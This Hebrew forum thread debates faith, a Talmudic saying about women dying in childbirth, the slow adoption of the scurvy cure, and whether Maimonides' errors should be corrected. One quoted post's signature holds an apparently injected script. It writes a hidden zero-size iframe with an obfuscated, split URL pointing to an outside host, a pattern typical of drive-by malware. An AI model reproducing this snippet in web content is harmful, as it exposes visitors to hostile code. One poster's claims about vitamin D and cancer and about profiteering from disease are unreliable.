|
|
| נשלח ב-28/2/2018 14:03 |
 |
| |
מצד רביעי,הטענה שלי היא שבנוגע לאמונה שבריר אחוז שווה למאה אחוז כי :
במשל שנתתי של בקבוק מים גדול שבתוכו שביב של סיכוי של אחוז אחד של רעל הרי אתייחס לבקבוק כאל בקבוק של רעל..
והנמשל הוא שבעניינים גורליים הנוגעים לחיים ומוות :גם לשביב של אחוז יש משקל של מאה אחוז .
|
|
|
|
| נשלח ב-28/2/2018 19:58 |
|
| |
אז מי שמאמין בשבריר אחוז- נחשב לדעתך למאמין?? [מבחינה הלכתית]
|
|
|
|
|
| נשלח ב-28/2/2018 20:42 |
|
| |
לפי לייבוביץ קיום מצוות הוא הוא האמונה בה' ולא דבר ערטילאי אחר.
גם אם לא נלך לפי לייבוביץ' לדעתי באופן מעשי אין אפשרות להאמין בשבריר אחוז כפי שהסברתי למעלה .
|
|
|
|
| נשלח ב-4/3/2018 09:07 |
|
| |
| מיימוני כתב: |  |
אכן לקח זמן, אבל בסוף למדו כולם ממנו.
כמו כן, איני טוען שהדימוי של הרפואה הקונ' הוא מדוייק. יש כאן אידיאל. וגם אידיאל כזה עלול להחמיץ דברים שאינם עולים בקנה אחד עם התיאוריות הקיימות. ראה ספרו של קון על מהפכות מדעיות, שבו הוא טוען, טענה סוציולוגית, שתיאוריות יתקבלו רק אם הן עולות בקנה אחד עם הדגם המקובל, אבל גם קון מודה שאפילו דגמים משתנים. וזה מה שקרה בדוגמא שלך.
|
|
לצי הבריטי לקח יותר מארבעים שנה עד שיישמו את הפתרון
למחלת הצפדינה שהביאה למותם של אלפים.
http://www.bbc.com/news/uk-england-37320399
חכמים אמרו " על שלש עברות ... "
המציאות מוכיחה שזה לא נכון.
כמה נשים מתו רק מפחד כשאמרו להן את זה?
החכמים שלנו לא ישנו את זה כי הם מבינים יותר טוב מחכמי הצי הבריטי.
|
|
|
|
| נשלח ב-4/3/2018 09:57 |
|
| |
שלישישי
לא הבנתי. מהו "זה" ש"חכמים לא ישנו את זה?" האם כוונתך שהם לא יחזרו ממה שאמרו על הסכנה לנשים בשעת לידה?
ומה הוכחת מכך שלקח זמן ליישם את הלקח אודות מחלת הצפדינה? בעולם לא טכנולוגי, אולי 40 שנה זה היה מהר.
ואין לשכוח שתגלית גדולה אינה מספיקה לשנות את העולם עד שהיא נקלטת, וזה תלוי בגורמים חברתיים, כלכליים ועוד.
כמו כן, כאשר חכמים אמרו כי יש שלוש עבירות שבגללן נשים מתות בלידה, מה הם בדיוק התכוונו לומר? הם לא קבעו אמת רפואית או מטפיזית, לפי הבנתי. הם כן הציעו הסבר מטפיזי (או תיאולוגי, ועל כל פנים לפי תורת הגמול) מדוע אשה מסתכנת בשעת לידה.
ובוודאי שלידה היתה מסוכנת מאד בימיהם, ללא ההתקדמות הרפואית של היום.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-4/3/2018 10:36 |
|
| |
| מיימוני כתב: | |
לא הבנתי. מהו "זה" ש"חכמים לא ישנו את זה?" האם כוונתך שהם לא יחזרו ממה שאמרו על הסכנה לנשים בשעת לידה?
הייתי מצפה שהרמב"ם של הדור יכריז שזה לא נכון וכל זה טעות.
ומה הוכחת מכך שלקח זמן ליישם את הלקח אודות מחלת הצפדינה? בעולם לא טכנולוגי, אולי 40 שנה זה היה מהר.
הוכחתי מוות מיותר שנובע מטיפשות ורשעות.
אם היית מתעניין יותר היית יודע שיש כיום הרבה ידע שהיישום שלו יכול למנוע
ולצמצם את מספר חולי הסרטן.
לדוגמא, חפש בגוגל באנגלית "הקשר בין סרטן לרמה נמוכה של ויטמין D "
ויש עוד הרבה ידע בנושא.
ואין לשכוח שתגלית גדולה אינה מספיקה לשנות את העולם עד שהיא נקלטת, וזה תלוי בגורמים חברתיים, כלכליים ועוד.
נכון בהחלט. יותר ידע לציבור, פחות רווחים למי שמתעשר ממחלות.
כמו כן, כאשר חכמים אמרו כי יש שלוש עבירות שבגללן נשים מתות בלידה, מה הם בדיוק התכוונו לומר? הם לא קבעו אמת רפואית או מטפיזית, לפי הבנתי. הם כן הציעו הסבר מטפיזי (או תיאולוגי, ועל כל פנים לפי תורת הגמול) מדוע אשה מסתכנת בשעת לידה.
ובוודאי שלידה היתה מסוכנת מאד בימיהם, ללא ההתקדמות הרפואית של היום.
כתוב בתורה ולא תונו איש את עמיתו..." פשוט, אם אתה לא יודע
אל תגיד ואל תפחיד. וכאשר המציאות מוכיחה שטעית - חזור מטעותך.
|
|
 |
|
|
|
|
| נשלח ב-4/3/2018 19:29 |
|
| |
שלישישי
תודה על הרחבת הדברים.
שתי נקודות ברשותך.
כתבת
הייתי מצפה שהרמב"ם של הדור יכריז שזה לא נכון וכל זה טעות.
דומה שהרמב"ם הראשון שמר את התערבותו והכרזותיו שדברים לא נכונים רק לאותם נושאים מרכזיים מאד שבהם סבר שצריך להרחיק מן הטעות. הוא לא יצא נגד כל אגדות חז"ל אלא נגד אלו שמשבשות את הדעות. וגם אז הקפיד להסביר שהבעיה עם הפרשנים ולא עם חכמים.
עוד כתבת
כתוב בתורה ולא תונו איש את עמיתו..." פשוט, אם אתה לא יודע
אל תגיד ואל תפחיד. וכאשר המציאות מוכיחה שטעית - חזור מטעותך.
אני מבין שלדעתך יש לפרסם ברבים שלידה אינה מסוכנת כפי שהיתה פעם.
נדמה לי שיש דיון בנושא אצל רבנים העוסקים בתחום אלא שאיני זוכר את הפרטים המדוייקים. אולי זה גם היה פעם בפורום, כאשר השתתף עמנו הרב ד"ר הלפרין שליט"א.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-5/3/2018 10:20 |
|
| |
| מיימוני כתב: | | שלישישי
תודה על הרחבת הדברים.
שתי נקודות ברשותך.
כתבת
הייתי מצפה שהרמב"ם של הדור יכריז שזה לא נכון וכל זה טעות.
דומה שהרמב"ם הראשון שמר את התערבותו והכרזותיו שדברים לא נכונים רק לאותם נושאים מרכזיים מאד שבהם סבר שצריך להרחיק מן הטעות. הוא לא יצא נגד כל אגדות חז"ל אלא נגד אלו שמשבשות את הדעות. וגם אז הקפיד להסביר שהבעיה עם הפרשנים ולא עם חכמים.
עוד כתבת
כתוב בתורה ולא תונו איש את עמיתו..." פשוט, אם אתה לא יודע
אל תגיד ואל תפחיד. וכאשר המציאות מוכיחה שטעית - חזור מטעותך.
אני מבין שלדעתך יש לפרסם ברבים שלידה אינה מסוכנת כפי שהיתה פעם.
נדמה לי שיש דיון בנושא אצל רבנים העוסקים בתחום אלא שאיני זוכר את הפרטים המדוייקים. אולי זה גם היה פעם בפורום, כאשר השתתף עמנו הרב ד"ר הלפרין שליט"א.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
הבעיה היא שהרמב"ם עצמו כתב דברים לא נכונים....
למשל:
ט [ח] שהת עשר שנים ולא ילדה, והרי הוא יורה שכבת זרע כחץחזקת החולי ממנה, ותצא שלא בכתובה. ויש לה תוספתלא תהיה זו פחותה מאיילונית שלא הכיר בה, שיש לה תוספת כמו שיתבאר. ואם אינו יורה כחץ, חזקת החולי ממנו בלבד; וכשיוציא, ייתן הכתובה כולה עיקר ותוספת.
היכן הרמב"ם של הדור שיכריז שזה לא נכון?
מדוע צריך להעביר דעות שאינן נכונות לדורות הבאים?
אין לדעתי לומר שלידה איננה מסוכנת. כל לידה יכולה להסתבך.
העניין הוא שקשרו סיבה ותוצאה שאין ביניהן שום קשר.
לכן, אם אינך יודע את הקשר בין סיבה לתוצאה עליך להמנע מלהביע דעה.
ואם כבר הבעת דעה ומתברר שדעתך שגויה - חזור מטעותך.
|
|
|
|
|
